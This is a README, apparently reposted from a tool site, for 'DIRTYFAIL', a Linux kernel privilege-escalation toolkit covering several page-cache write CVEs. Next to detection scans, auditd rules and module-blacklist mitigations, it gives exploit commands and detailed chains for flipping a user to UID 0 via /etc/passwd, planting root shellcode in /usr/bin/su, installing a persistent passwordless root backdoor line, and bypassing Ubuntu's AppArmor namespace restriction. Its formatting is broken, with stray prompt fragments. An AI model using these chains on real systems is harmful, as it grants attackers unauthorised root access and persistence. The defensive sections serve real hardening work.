┌──────────────────────────────────────────────────────────────────────┐ │ copyfail.c algif_aead authencesn 4-byte STORE (CVE-2026-31431) │ │ copyfail_gcm.c rfc4106(gcm(aes)) 1-byte STORE (CVE-2026-43284) │ │ dirtyfrag_esp.c xfrm-ESP IPv4 4-byte STORE (CVE-2026-43284) │ │ dirtyfrag_esp6.c xfrm-ESP IPv6 4-byte STORE w/ +9 (CVE-2026-43284) │ │ dirtyfrag_rxrpc.c rxkad 8-byte STORE + fcrypt brute (CVE-2026-43500) │ │ fcrypt.c rxkad cipher (56-bit Feistel) │ │ backdoor.c persistent /etc/passwd line overwrite │ └──────────────────────────────────────────────────────────────────────┘

root@kitploit:~
**핵심 설계 결정:**

- **Outer/inner 분리**: 모든 exploit은 커널 작업을 위해 자식 프로세스를 fork합니다. 부모는 init 네임스페이스에 남아 결과적으로 `execlp("su", user)`가 실제 init-ns root에 도달하도록 합니다. [§8.5 아키텍처](#85-architecture-outerinner-fork-based-bypass) 참조.
- **페이지 캐시는 전역**: 자식은 자체 바이패스 userns 내부에서 쓰고, 부모는 init ns에서 읽습니다. 동일한 바이트가 표시됩니다.
- **Env var는 부모 → 자식 상태 전달**: `DIRTYFAIL_INNER_MODE`, `DIRTYFAIL_TARGET_USER`, `DIRTYFAIL_K_{A,B,C}` (rxrpc), `DIRTYFAIL_LINE_OFF` 등 (백도어). `execv`는 스테이지 전환을 가로질러 환경을 보존합니다.
- **방어적 동반자**: `--mitigate`는 배포판이 공식 완화 조치로 제공하는 것과 동일한 블랙리스트 + sysctl 강화를 배포합니다. `--scan`은 caps가 LSM에 의해 차단될 때를 감지하고 "완화됨(mitigated)"으로 보고하며, 오해를 부르는 "VULNERABLE preconditions met"("취약한 사전 조건 충족")라고 보고하지 않습니다.

---

## 5. 빌드

### 사전 요구 사항

* **Linux** (이 바이너리는 런타임 시 Linux 전용).
* `gcc` 또는 `clang`, `make`.
* Linux UAPI 헤더 — 구체적으로 `<linux/xfrm.h>`, `<linux/netlink.h>`,
  `<linux/rtnetlink.h>`, `<linux/if.h>`.

| 배포판            | 설치                                                  |
|-------------------|------------------------------------------------------|
| Debian / Ubuntu   | `sudo apt install build-essential linux-libc-dev`    |
| RHEL / CentOS     | `sudo dnf install gcc make kernel-headers glibc-devel` |
| Fedora            | `sudo dnf install gcc make kernel-headers`           |
| Arch              | `sudo pacman -S base-devel`                          |

### 빌드 명령```sh
git clone https://github.com/<you>/DIRTYFAIL.git
cd DIRTYFAIL
make                # release build → ./dirtyfail
make debug          # -O0 -g3 for gdb
make static         # static link (musl-gcc recommended)
make clean

기본 빌드는 ./dirtyfail에 단일 ~80 KB 바이너리를 생성합니다. glibc 의존성 드리프트 없이 커널이 호환되는 모든 Linux에서 실행되는 이식 가능한 빌드를 원한다면:```sh make static CC=musl-gcc

root@kitploit:~
(install `musl-tools` on Debian/Ubuntu, or build musl from source).

---

## 6. Usage

`./dirtyfail --help` is the canonical reference; the modes broken
out by category:

**Detection (safe; no system modification):**

| Mode | What it does |
|---|---|
| `--scan` | Run all five detectors (default mode) |
| `--scan --active` | Add a sentinel-file STORE probe per CVE — distinguishes preconds-met from actually-exploitable |
| `--scan --json` | Emit a single JSON object on stdout (SIEM-friendly); logs go to stderr |
| `--check-copyfail` / `--check-esp` / `--check-esp6` / `--check-rxrpc` / `--check-gcm` | Per-CVE detection only |

**Exploitation (typed-confirmation gated; corrupts `/etc/passwd` page cache):**

| Mode | What it does |
|---|---|
| `--exploit-copyfail` | UID flip via `algif_aead` 4-byte primitive |
| `--exploit-esp` | UID flip via xfrm-ESP v4 (needs userns+CAP_NET_ADMIN) |
| `--exploit-esp6` | UID flip via xfrm-ESP v6 |
| `--exploit-rxrpc` | Empty root password field via rxkad fcrypt brute force |
| `--exploit-gcm` | UID flip via `rfc4106(gcm(aes))` single-byte primitive |
| `--exploit-backdoor` | PERSISTENT: insert `dirtyfail::0:0:...:/:/bin/bash` |
| `--exploit-su` | V4bel-style: plant arch-specific shellcode at `/usr/bin/su` entry point. x86_64 tested end-to-end; aarch64 ships hardware-untested (gated behind `DIRTYFAIL_AARCH64_TRUST_UNTESTED=1`) |

**Cleanup / state inspection:**

| Mode | What it does |
|---|---|
| `--cleanup` | Evict `/etc/passwd` from page cache (`fadvise` + `drop_caches` if root) |
| `--cleanup-backdoor` | Restore the original `/etc/passwd` line from state file |
| `--cleanup-su` | Restore `/usr/bin/su` entry-point bytes from state file |
| `--list-state` | Report what (if anything) is currently planted; side-effect-free |

**Defensive (root required):**

| Mode | What it does |
|---|---|
| `--mitigate` | Blacklist `algif_aead`/`esp4`/`esp6`/`rxrpc` modules; set `apparmor_restrict_unprivileged_userns=1`; drop_caches. Side-effects: breaks IPsec, AFS |
| `--cleanup-mitigate` | Remove the modprobe/sysctl files installed by `--mitigate` |

**Common options:**

| Flag | Effect |
|---|---|
| `--no-shell` | After a successful exploit, do NOT `execve su` — verify and revert |
| `--no-revert` | With `--no-shell`, also skip the auto-revert (used by the container-escape demo) |
| `--active` | Add active sentinel-STORE probes to `--scan`/`--check-*` |
| `--json` | (with `--scan`) emit machine-readable output |
| `--no-color` | Disable ANSI color |
| `--aa-bypass` | (DEBUG only) force the AppArmor unprivileged-userns bypass — exploits do this internally, see §8.5 |

### Detection examples

Plain scan (preconditions only — fast, ~1s):```sh
./dirtyfail --scan

CVE별 활성 센티널 프로브 (~10초, /tmp 센티널만 수정):```sh ./dirtyfail --scan --active

root@kitploit:~
JSON for SIEM/fleet ingestion:

→

SIEM/플릿 수집용 JSON:```sh
$ ./dirtyfail --scan --active --json
{
  "tool": "dirtyfail",
  "version": "0.1.0",
  "hostname": "server-01",
  "kernel": "6.19.10-300.fc44.x86_64",
  "machine": "x86_64",
  "active_probes": true,
  "results": [
    {"cve": "CVE-2026-31431",     "name": "copyfail",        "status": "vulnerable"},
    {"cve": "CVE-2026-43284",     "name": "dirtyfrag-esp",   "status": "vulnerable"},
    {"cve": "CVE-2026-43284-v6",  "name": "dirtyfrag-esp6",  "status": "vulnerable"},
    {"cve": "CVE-2026-43500",     "name": "dirtyfrag-rxrpc", "status": "vulnerable"},
    {"cve": "CVE-2026-31431-gcm", "name": "copyfail-gcm",    "status": "vulnerable"}
  ],
  "summary": "vulnerable"
}

상태 값: vulnerable, not_vulnerable, preconds_missing, test_error. 요약은 결과 전체에서 최악의 상태를 반영합니다.

익스플로잇 예시 (입력 확인 필요)```sh

./dirtyfail --exploit-copyfail # UID-flip + drop into root via su ./dirtyfail --exploit-su # plant /bin/sh shellcode at /usr/bin/su entry ./dirtyfail --exploit-copyfail --no-shell # plant + verify + auto-revert (CI-safe)

root@kitploit:~
각 익스플로잇은 페이지 캐시 수정 전에 `DIRTYFAIL` + (해당되는 경우) `YES_BREAK_SSH`를 요구합니다.

### 상태 점검 + 정리```sh
./dirtyfail --list-state          # what's currently planted? (side-effect free)
./dirtyfail --cleanup             # fadvise(DONTNEED) + drop_caches if root
./dirtyfail --cleanup-backdoor    # restore /etc/passwd from .dirtyfail.state
./dirtyfail --cleanup-su          # restore /usr/bin/su from .dirtyfail-su.state

또는 커널로 직접 폴스루(fall-through)하세요:```sh sudo sh -c 'echo 3 > /proc/sys/vm/drop_caches'

root@kitploit:~
---

## 7. DIRTYFAIL이 각 CVE를 탐지하는 방법

### Copy Fail (능동 센티널 프로브)

탐지는 실제로 `/tmp`의 센티널 파일에 대해 프리미티브를 트리거합니다:

1. `socket(AF_ALG, SOCK_SEQPACKET, 0)`를 프로브하고 `authencesn(hmac(sha256), cbc(aes))`에 `bind`합니다.
2. `/tmp`에 4KiB 센티널 파일을 만들고 첫 번째 페이지를 캐시에 폴트시킵니다.
3. 그에 대해 전체 익스플로잇 프리미티브를 실행합니다: `seqno_lo = "PWND"`로 `sendmsg` AAD를 보내고, 센티널의 32바이트를 AF_ALG op 소켓으로 splice하고, `recv`를 구동하여 스크래치 쓰기를 발생시킵니다.
4. 센티널을 다시 읽고 첫 페이지 어디에서든 `PWND`를 찾습니다.

마커가 발견되면 ⇒ 취약함. 마커는 없지만 페이지 내용이 다르면 ⇒ 프리미티브가 부분적으로 실행됨 (여전히 취약함). 페이지가 동일하면 ⇒ 이 커널에서는 취약하지 않음.

### Dirty Frag xfrm-ESP (사전 조건 기반 — 또는 `--active`로 능동 모드)

기본 `--scan`은 사전 조건만 확인합니다 — 탐지 모드에서는 사용자 네임스페이스에 진입하지 않습니다 (그렇게 하면 해당 네임스페이스의 네트워킹에 부작용이 생기기 때문입니다). 확인하는 항목:

* 영향을 받는 범위 내의 커널 버전
* `esp4` / `esp6`이 현재 로드되었거나 자동 로드 가능
* 비특권 사용자 네임스페이스 생성이 성공 (fork → 자식 `unshare(CLONE_NEWUSER)`로 프로브)
* AppArmor `apparmor_userns_caps_blocked()`가 false를 반환

네 가지가 모두 충족되면 ⇒ VULNERABLE (사전 조건 충족).

`--scan --active`는 센티널-STORE 프로브를 추가로 수행합니다: AA 바이패스를 장착하고, 새 사용자/네트워크 네임스페이스에 진입하고, XFRM SA를 등록하고, `/tmp/dirtyfail-esp-probe.XXXXXX` 센티널 파일에 ESP-in-UDP 트리거를 발사하는 자식 프로세스를 fork합니다. 부모는 센티널을 다시 읽고 마커 바이트를 찾습니다:

* 마커가 기록됨 → 커널 STORE에 도달 가능 → **VULNERABLE**
* 페이지가 그대로임 → 커널 패치가 적용됨 → **NOT VULNERABLE**
* AA 바이패스가 거부됨 → **PRECOND_FAIL** (LSM에 의해 완화됨)

이것은 `/etc/passwd`에 대해 전체 UID 플립 익스플로잇을 실행하지 않고도 백포트 패치된 커널과 패치되지 않은 커널을 구분할 수 있는 유일한 방법입니다. 동일한 패턴은 `--active`에서 ESP v6, RxRPC, GCM에도 사용됩니다.

### Dirty Frag RxRPC (사전 조건 기반 — 또는 `--active`로 능동 모드)

사전 조건:
* `rxrpc`가 `/proc/modules`에 있거나 자동 로드 가능
* `socket(AF_RXRPC, SOCK_DGRAM, 0)`이 성공

능동 프로브(`--active`): AA 바이패스를 통해 fork하고, 임의의 8바이트 값으로 rxrpc 세션 키를 등록하고, `/tmp` 센티널에 대해 CHALLENGE + DATA 위조를 하나 전송하고, splice된 8바이트 창 안에서 어떤 바이트 변경이라도 찾습니다. 무엇이 기록되었는지 예측하려 하지 않습니다 — 어떤 수정이라도 커널 STORE가 발동함을 확인합니다.

### Copy Fail GCM 변종 + ESP v6 — 동일한 구조

GCM 변종 능동 프로브는 임의의 IV로 전송 모드 SA를 설치하고 `/tmp` 센티널에 `gcm_trigger`를 발사합니다; sentinel[0]에서 어떤 바이트 변경이라도 도달 가능성을 확인합니다. ESP v6 프로브는 또한 커널 빌드별로 `V6_STORE_SHIFT`를 자동 보정합니다(`src/dirtyfrag_esp6.c`의 `calibrate_v6_shift` 참조) — 배포판마다 다른 `esp6_input` 빌드는 STORE를 splice된 영역 내에서 약간 다른 오프셋에 배치하며, 보정 프로브는 실제 익스플로잇이 발사되기 전에 정확한 오프셋을 찾아냅니다.

---

## 8. DIRTYFAIL이 각 CVE를 익스플로잇하는 방법

### Copy Fail 익스플로잇 (`copyfail.c`)

`algif_aead`를 통한 단일 4바이트 STORE:```
                                          [/etc/passwd page cache]
 user  ──sendmsg(AAD = SPI||"0000")──▶ AF_ALG op
       ──splice(passwd_fd, 32B)──────▶ AF_ALG op (in-place dst SGL)
       ──recv()─────────────────────▶ kernel runs authencesn_decrypt
                                        scratch write: "0000" → uid_off
                                        EBADMSG returned to user (we ignore)
 user  ──open(passwd, RDONLY)─read──▶ "kara:x:0000:1000:..."   ◄─ page cache
 user  ──execlp("su", "kara")──────▶ PAM ✓ on /etc/shadow → setuid(0)
                                       ─────► root shell

Dirty Frag xfrm-ESP 익스플로잇 (dirtyfrag_esp.c)

Copy Fail과 동일한 최종 상태로, algif_aead 대신 xfrm_input을 통해 도달:``` [/etc/passwd page cache] unshare(USER|NET); setup uid_map; ifup lo NETLINK_XFRM ─NEWSA(seq_hi="0000", encap=ESPINUDP/4500)─▶ kernel udp_recv bind 127.0.0.1:4500, UDP_ENCAP_ESPINUDP udp_send connect 127.0.0.1:4500 vmsplice ESP wire header (24B) ─▶ pipe splice /etc/passwd@uid_off (16B) ─▶ pipe splice pipe (40B) ─▶ udp_send udp loopback ─▶ udp_recv (UDP_ENCAP) ─▶ xfrm_input ─▶ esp_input skb has frags, no frag_list ─▶ goto skip_cow (THE BUG) crypto_authenc_esn_decrypt: scratch_write(seq_hi="0000" → page_addr+uid_off) ◄─ 4-byte STORE AEAD auth fails (EBADMSG) — but the STORE is permanent page-cache copy of /etc/passwd now reports uid 0 for the user

root@kitploit:~
그런 다음 네임스페이스를 빠져나와 부모 프로세스에서 `execlp("su", user)`를 실행합니다 — Copy Fail과 동일한
마지막 단계입니다.

### Dirty Frag RxRPC 익스플로잇 (`dirtyfrag_rxrpc.c` + `fcrypt.c`)```
                                          [/etc/passwd page cache]
 user-space brute force of K_A, K_B, K_C such that fcrypt_decrypt(C, K)
   produces predicate-satisfying plaintexts for offsets 4, 6, 8
   (chained-ciphertext correction across passes)

 fork → child enters new userns:
   unshare(USER|NET); setup uid_map; ifup lo
   socket(AF_RXRPC) — autoload rxrpc.ko
   for each (off, K) in [(4,K_A), (6,K_B), (8,K_C)]:
     add_key("rxrpc", "df-evil<n>", v1_token{session_key=K})
     udp_srv = bind 127.0.0.1:port_S
     rxsk    = AF_RXRPC + SECURITY_KEY=df-evil<n> + bind :port_C
     rxsk → sendmsg(PINGPING)              triggers handshake init
     udp_srv ← receives kernel's first DATA-0
       extract (epoch, cid, callNumber)
     udp_srv → forged CHALLENGE             → rxsk auto-RESPONSE
                                               primes conn->rxkad.cipher with K
     csum_iv = AF_ALG pcbc(fcrypt)(epoch||cid||0||sec_ix, IV=K)
     cksum_h = AF_ALG pcbc(fcrypt)(call_id||x, IV=csum_iv)[1] >> 16
     vmsplice DATA hdr (28B) → pipe
     splice  /etc/passwd@off (8B) → pipe
     splice  pipe (36B) → udp_srv
     udp loopback → rxsk
       recvmsg → rxrpc_input → rxkad_verify_packet
         skb has frags, no frag_list → goto skip_unshare    (THE BUG)
         skcipher_request_set_crypt(req, sg=page+off, sg=page+off, 8, iv=0)
         crypto_skcipher_decrypt: pcbc(fcrypt)
           page[off..off+8] = fcrypt_decrypt(C_actual, K)    ◄─ 8-byte STORE

 child exits, parent verifies /etc/passwd[4..5] == "::"
 parent: execlp("su", "-")
   PAM common-auth: pam_unix.so nullok    → root has empty password
   su  → setresuid(0,0,0) → exec /bin/bash
                                       ─────► root shell

--exploit-su 셸코드 주입 (exploit_su.c)

V4bel의 참조 익스플로잇을 모델로 한, /etc/passwd를 사용하지 않는 두 번째 공격 체인입니다. /etc/passwd의 페이지 캐시를 편집하는 대신, /usr/bin/su의 페이지 캐시에 있는 ELF 엔트리 포인트에 아키텍처별 셸코드를 심습니다. 이후 누군가 /usr/bin/su를 exec하면, 커널은 디스크 상의 setuid 비트에서 euid=0을 설정하고, 동적 링커가 해석을 마친 다음, 실제 init 네임스페이스 루트 권한으로 제어가 우리 셸코드 → /bin/sh로 넘어갑니다. PAM 의존성이 없으며, pam_unix nullok 제거를 완전히 우회합니다.``` parent (init ns) │ stat /usr/bin/su; verify setuid+root │ parse ELF header; resolve e_entry → file offset │ pread() N bytes at file_offset → /var/tmp/.dirtyfail-su.state │ for each 4-byte chunk of shellcode: │ cf_4byte_write("/usr/bin/su", file_offset+i, chunk) │ pread() back; verify match │ if --no-shell: │ plant_shellcode(original) # revert via re-write │ fadvise(DONTNEED) on a new fd # evict if possible │ else: │ execl("/usr/bin/su", "su", NULL) ─► │ kernel exec /usr/bin/su (setuid root) │ ld-linux.so resolves │ jumps to e_entry → our shellcode │ setuid(0); setgid(0); │ execve("/bin/sh", argv, NULL) ▼ ────► root shell

root@kitploit:~
Architecture matrix:

* **x86_64 (56 bytes, 14 chained 4-byte writes)** — Fedora 44에서 종단 간 테스트됨 (`uid=0(root) gid=0(root) ...
  context=unconfined_u:unconfined_r:unconfined_t`). 셸코드는
  `shellcode_x86_64[]`에 있습니다.
* **aarch64 (80 bytes, 20 instructions)** — ARMv8-A 레퍼런스에서 수작업으로 인코딩했으며, **하드웨어에서 실행된 적 없음**. `DIRTYFAIL_AARCH64_TRUST_UNTESTED=1` 뒤에 게이트되어 있습니다. 커뮤니티 검증을 위해 소스가 `tools/exploit_su_aarch64.S`에 포함되어 있습니다 — `aarch64-linux-gnu-as`로 어셈블하고 바이트 시퀀스가 `shellcode_aarch64[]`와 일치하는지 확인하세요.
* 그 외의 경우 → preconds_fail.

상태 파일 `/var/tmp/.dirtyfail-su.state`는 원래 엔트리 포인트 바이트를 저장해 두어 `--cleanup-su`가 복원할 수 있게 합니다. `--list-state`는 이 파일(및 백도어의 상태 파일)을 아무것도 건드리지 않고 검사합니다.

검증 단계에서 페이지 캐시가 심어 둔 셸코드와 일치하지 않는 것을 발견하면(커널 패치, AF_ALG 블랙리스트 등), 자동 롤백이 즉시 실행되고 상태 파일이 제거됩니다. 이후 운영자가 cleanup-su를 실행할 필요가 없습니다.

---

## 8.5 아키텍처: outer/inner fork 기반 우회

다섯 가지 익스플로잇 모드는 모두 Ubuntu의 `apparmor_restrict_unprivileged_userns=1` 정책을 처리하는 공통 아키텍처를 공유하며, 익스플로잇 후 `su`가 실제 init-ns 루트에 도달할 수 없는 userns 안에 갇히지 않도록 합니다.

### 문제점

순진한 우회 방식은 `unshare(CLONE_NEWUSER)`를 통해 *전체* `dirtyfail` 프로세스를 새 사용자 네임스페이스 안에 넣습니다. XFRM SA를 등록하고 splice 트리거를 발생시키기에는 충분하지만, 결국 `execlp("su", user)`가 userns 안에서 실행된다는 뜻이기도 합니다. 이때 uid 0은 `uid_map "0 1000 1"`을 통해 운영자의 외부 uid(1000)로 매핑됩니다. 그러면 PAM의 `setresuid(0)`는 userns-uid-0-mapped-to-1000에 도달하게 되는데, 이는 **실제** init-ns 루트가 아닙니다. `cat /etc/shadow`는 EACCES를 반환하고, 셸은 실제로 권한 있는 작업을 수행할 수 없습니다.

### 해결책: outer/inner 분할```
parent (dirtyfail, init ns)                 child (bypass userns)
─────────────────────────                   ─────────────────────
prompts (DIRTYFAIL / YES_BREAK_SSH)
resolve target (uid_off, K_A/K_B/K_C, ...)
setenv DIRTYFAIL_INNER_MODE=...
setenv DIRTYFAIL_TARGET_USER=...
fork ─────────────────────────────────────► change_onexec("crun")
                                             execv self ─► STAGE-1
                                                            execv self ─► STAGE-2
                                                                          unshare(USER|NET)
                                                                          uid_map / capset
                                                                          ifup lo
                                                                          main() detects INNER_MODE
                                                                          dispatch <mode>_inner()
                                                                          register XFRM SA
                                                                          splice trigger → page cache STORE
                                                                          _exit(DF_EXPLOIT_OK)
waitpid ◄───────────────────────────────── (child reaped)
read /etc/passwd (page cache is global)
verify modification visible
if do_shell:
  execlp("su", user) ← runs IN INIT NS
                       PAM auth → setresuid(0)
                       → REAL init-ns root shell
else:
  try_revert_passwd_page_cache

부모 프로세스는 사용자 네임스페이스에 절대 진입하지 않는다. 자식 프로세스가 바이패스 + 커널 작업을 수행하고 전역 페이지 캐시(네임스페이스 간에 공유되는 — 우리가 필요한 유일한 "브리지")를 수정한 뒤 종료한다. 그러면 부모의 su는 일반적인 init 네임스페이스 setresuid 호출이 된다.

부모 → 자식 환경 변수 핸드오프

execv는 환경을 보존하므로, 부모는 포크하기 전에 작업 매개변수를 환경 변수에 저장한다. 각 모드는 자체 변수를 정의한다:

바이패스의 2단계가 완료되면 main()은 DIRTYFAIL_INNER_MODE를 확인하고 <mode>_exploit_inner()로 디스패치한다. 내부 함수는 오직 커널 작업만 수행하며(프롬프트 없음, 포크 없음, su 없음) 결과 코드와 함께 종료된다. 부모 프로세스는 waitpid로 이를 수거한 뒤 검증을 진행한다.

단일 홉 바이패스를 사용하는 이유

이전의 두 홉 절차(change_onexec("crun") → change_onexec("chrome"))는 Ubuntu 24.04의 exec 체인에서 간헐적인 ENOSPC 오류를 유발했다(아마 프로필별 userns 회계 문제일 것). crun으로의 단일 홉이면 충분하다 — crun의 AppArmor 프로필에는 flags=(unconfined)와 명시적인 userns, 권한이 있으므로 unshare는 성공하고 성공 상태를 유지한다.

무한 재실행 루프가 없는 이유

2단계가 성공적으로 완료되면 프로세스 로컬 g_bypass_done 플래그가 설정된다. 같은 프로세스에서 apparmor_bypass_needed()가 다시 호출되면 false로 단락되어, 익스플로잇 이후 코드가 다른 userns 계층을 다시 장전하고 중첩하는 것을 방지한다(이전에는 ENOSPC로 per-userns 중첩 상한에 도달했었다).

--aa-bypass는 이제 디버그 전용 플래그

기존 아키텍처에서 --aa-bypass는 익스플로잇 디스패치 전에 전체 프로세스 바이패스를 장전했다. 새 아키텍처에서 익스플로잇 모드는 내부적으로 자체 포크 기반 바이패스를 수행하므로 정상적인 사용에는 더 이상 이 플래그가 필요하지 않다. 이 플래그는 바이패스 userns 내에서 --scan을 실행하는 등 바이패스 메커니즘을 단독으로 디버깅하기 위해 유지되며, 익스플로잇 이후 su를 깨뜨릴 수 있다는 경고와 함께 제공된다.


9. 완화 조치

Copy Fail (CVE-2026-31431)

  1. 패치를 적용하세요. 메인라인 a664bf3d; 백포트는 6.12 / 6.17 / 6.18 안정 브랜치에 반영되었습니다.

  2. 임시 조치: algif_aead 블랙리스트: ```sh echo 'install algif_aead /bin/false' | sudo tee /etc/modprobe.d/copyfail.conf sudo rmmod algif_aead 2>/dev/null

    root@kitploit:~

⚠ 참고: 이는 Dirty Frag를 완화하지 않습니다. xfrm-ESP 경로는 algif_aead를 거치지 않고 동일한 authencesn 프리미티브에 도달합니다.

Dirty Frag xfrm-ESP (CVE-2026-43284)

  1. 패치를 적용하세요. 메인라인 f4c50a4034e6 (2026-05-07 병합). 배포판 백포트는 2026-05-08부터 배포 중입니다.
  2. 임시 조치: esp4 및 esp6을 블랙리스트에 등록: ```sh sudo tee /etc/modprobe.d/dirtyfrag-esp.conf <<'EOF' install esp4 /bin/false install esp6 /bin/false EOF sudo rmmod esp4 esp6 2>/dev/null sudo sysctl vm.drop_caches=3
    root@kitploit:~

⚠ 이것은 IPsec / strongSwan / libreswan VPN을 중단시킵니다. 3. 심층 방어: 비특권 사용자 네임스페이스를 허용하지 않습니다. Ubuntu는 AppArmor를 통해 기본적으로 이 작업을 수행합니다; 다른 배포판에서는: ```sh sudo sysctl -w kernel.unprivileged_userns_clone=0

root@kitploit:~
### Dirty Frag RxRPC (CVE-2026-43500)

1. **아직 업스트림 패치 없음.** lkml에 연구자 패치가 있으나 작성 시점(2026-05-08) 기준
병합되지 않음.
2. **임시 조치**: `rxrpc` 블랙리스트 등록:   ```sh
sudo tee /etc/modprobe.d/dirtyfrag-rxrpc.conf <<'EOF'
install rxrpc /bin/false
EOF
sudo rmmod rxrpc 2>/dev/null
sudo sysctl vm.drop_caches=3

⚠ 이것은 AFS 분산 파일 시스템 클라이언트를 손상시킵니다. 대부분의 서버는 rxrpc가 필요하지 않습니다.

결합된 원라이너 (세 가지 모두)```sh

sudo sh -c ' cat > /etc/modprobe.d/dirtyfail.conf <<EOF install algif_aead /bin/false install esp4 /bin/false install esp6 /bin/false install rxrpc /bin/false EOF rmmod algif_aead esp4 esp6 rxrpc 2>/dev/null sysctl vm.drop_caches=3 '

root@kitploit:~
### 또는 `dirtyfail --mitigate` 사용

동일한 완화 조치 세트는 입력 확인을 요구하는 방어 모드로 래핑되어 있습니다:```sh
sudo ./dirtyfail --mitigate

This drops in /etc/modprobe.d/dirtyfail-mitigations.conf and /etc/sysctl.d/99-dirtyfail-mitigations.conf, unloads the four modules, and drop_caches. Reverts via sudo ./dirtyfail --cleanup-mitigate. Side-effects: breaks IPsec, AFS clients, and any userspace using AF_ALG AEAD. See docs/DEFENDERS.md for the full sysadmin playbook.

탐지 / 모니터링

패치와 무관한 지속적 탐지를 위해:

  • 호스트 스캔: dirtyfail --scan --active (전체 sentinel-STORE 프로브) 또는 SIEM/플릿 수집용 dirtyfail --scan --active --json. tools/dirtyfail-check.sh bash 변형은 빌드 의존성이 전혀 없습니다.
  • 감사 규칙: tools/99-dirtyfail.rules는 exploit 체인이 사용하는 다섯 가지 syscall 경로를 다루는 drop-in auditd 규칙 세트입니다 (XFRM netlink 등록, add_key("rxrpc"), unshare(CLONE_NEWUSER), AF_ALG 소켓 생성, /etc/passwd//etc/shadow 쓰기). 다음과 같이 설치하세요: ```sh sudo install -m 0640 tools/99-dirtyfail.rules /etc/audit/rules.d/ sudo augenrules --load && sudo systemctl restart auditd
    root@kitploit:~
  • 컨테이너 폭발 반경 데모: tools/dirtyfail-container-escape.sh는 커널 페이지 캐시가 네임스페이스 간에 공유됨을 보여줍니다 — 교차 테넌트 영향을 운영자에게 설명하는 데 유용합니다.

10. 윤리 & 공개

DIRTYFAIL은 연구 도구입니다. 이 도구가 다루는 취약점은 이미 공개적으로 공개되었으며 실제 환경에 무기화된 PoC가 존재합니다 (크레딧 참조) — DIRTYFAIL은 탐지 범위, 통합 문서, 그리고 더 온화한 PoC 변형(UID-flip vs ELF 방식의 /usr/bin/su 덮어쓰기)을 추가합니다.

  • 소유하지 않았거나 명시적으로 테스트 승인을 받지 않은 시스템에서 --exploit-* 모드를 실행하지 마십시오. 페이지 캐시 수정은 drop_caches로 되돌릴 수 있지만, 여전히 권한 상승 상태이며 지속되는 동안 유지됩니다.
  • 서면 승인 없이 DIRTYFAIL을 제3자 인프라에 대한 "스캐너"로 배포하지 마십시오. 탐지 모드는 시스템 파일을 수정하지 않지만 /tmp에 센티널 파일을 열고 커널 crypto API를 실행합니다.
  • 실제 환경에서 취약한 시스템을 발견한 경우, 대중이 아닌 운영자에게 책임 있는 공개를 수행하십시오.

보너스: GCM 변형 + 백도어 + AppArmor 우회에 대한 참고 사항

이 세 가지 기능은 DIRTYFAIL을 다음 기법으로 확장합니다. 이 기법은 0xdeadbeefnetwork/Copy_Fail2-Electric_Boogaloo에서 처음 공개되었으며, DIRTYFAIL 스타일로 재구현되었습니다. 원본 크레딧은 NOTICE.md에 있습니다.

Copy Fail GCM 변형

CVE-2026-43284와 동일한 xfrm-ESP no-COW 경로이지만, rfc4106(gcm(aes))를 authencesn(...) 대신 사용합니다. authencesn 변형과 함께 제공할 가치가 있는 두 가지 이유는 다음과 같습니다.

  1. 적용 범위. Copy Fail(CVE-2026-31431)을 완화하기 위해 algif_aead를 차단한 방어자도 여전히 취약합니다. GCM 경로는 algif_aead를 거치지 않기 때문입니다.
  2. 세밀도. 카운터 모드의 AES-GCM은 스플라이스된 바이트에 키스트림을 XOR합니다. IV를 브루트포스하면(바이트당 ~256회) 파일의 임의 오프셋에 임의의 단일 바이트를 배치할 수 있습니다 — 4바이트 정렬도, 4바이트 부작용도 없습니다.

1바이트 프리미티브(cfg_1byte_write)가 영구 백도어 모드를 실현 가능하게 만듭니다.

영구 백도어

--exploit-backdoor는 셸이 {nologin, false, sync}에 해당하는 /etc/passwd 줄 중 가장 긴 줄을 선택하고, 이를 dirtyfail::0:0:<pad>:/:/bin/bash(길이 일치)로 바이트 단위로 덮어씁니다. 설치 후, 아무 사용자에서 su - dirtyfail을 실행하면 루트 셸을 얻습니다 — 비밀번호 프롬프트 없음 — pam_unix.so nullok가 빈 비밀번호 필드를 허용하기 때문입니다.

사용자 이름 dirtyfail은 이후 감사에서 쉽게 탐지할 수 있도록 의도적으로 이 프로젝트의 브랜드로 삼았습니다. grep dirtyfail /etc/passwd를 실행하는 방어자(또는 동일한 작업을 수행하는 HIDS)는 해당 줄을 즉시 발견할 것입니다. 특정 레드팀 작전을 위해 다른 식별자가 필요하다면 NEW_USER와 DF_PREFIX를 src/backdoor.c에서 변경하십시오.

디스크의 파일은 변경되지 않습니다. 치환은 페이지 캐시에만 존재합니다. --cleanup-backdoor는 동일한 프리미티브를 통해 원래 줄을 복원합니다.

AppArmor 우회

Ubuntu 24.04+에는 apparmor_restrict_unprivileged_userns=1이 포함되어 있습니다. 권한 없는 바이너리에 적용되는 기본 프로필은 unshare(USER)를 성공시키지만 새 네임스페이스에서 CAP_NET_ADMIN을 제거합니다. XFRM SA 등록은 조용히 실패합니다.

우회 방법: /proc/self/attr/exec에 "exec crun"을 쓰고 execv를 실행하여 AppArmor의 crun 프로필로 전환합니다. 이 프로필은 flags=(unconfined)와 명시적 userns, 권한을 가집니다. exec 이후 unshare(CLONE_NEWUSER | CLONE_NEWNET)는 새 네임스페이스 내부에서 전체 capabilities(caps)를 갖추고 성공합니다.

DIRTYFAIL은 fork를 통해 이 문제를 exploit 모드별로 처리합니다. 부모는 init 네임스페이스에 남고, 자식은 우회 및 커널 작업을 수행하며, 부모는 전역 페이지 캐시를 읽고 실제 init 네임스페이스 루트를 위해 su를 실행합니다. 전체 체인은 §8.5 아키텍처 에서 확인하십시오. 레거시 --aa-bypass 플래그(전체 프로세스에 대해 우회를 활성화했던)는 디버깅 전용으로 유지됩니다.

원래 기법은 0xdeadbeefnetwork의 aa-rootns.c에서 가져온 것입니다 (그곳에서는 Brad Spengler / grsecurity에게 크레딧을 부여함). DIRTYFAIL의 구현은 다음과 같습니다:

  • 제한 사항을 다음과 같이 탐지합니다: kernel.apparmor_restrict_unprivileged_userns sysctl을 사용하며, /proc/self/attr/current를 읽는 대신(이 파일은 여전히 정책이 제한 중이어도 Ubuntu 24.04에서 "unconfined"로 표시됩니다).
  • crun으로의 단일 홉을 사용하며 두 단계를 거치는 crun → chrome 과정 대신 — 두 번째 홉은 Ubuntu 24.04에서 간헐적으로 ENOSPC를 발생시켰습니다.
  • 2단계 후 프로세스 로컬 g_bypass_done 플래그를 설정하여 재검사를 단락(short-circuit)시킵니다. (이전에 userns당 중첩 상한을 소진시키던 무한 재-exec 루프 방지).

11. Credits

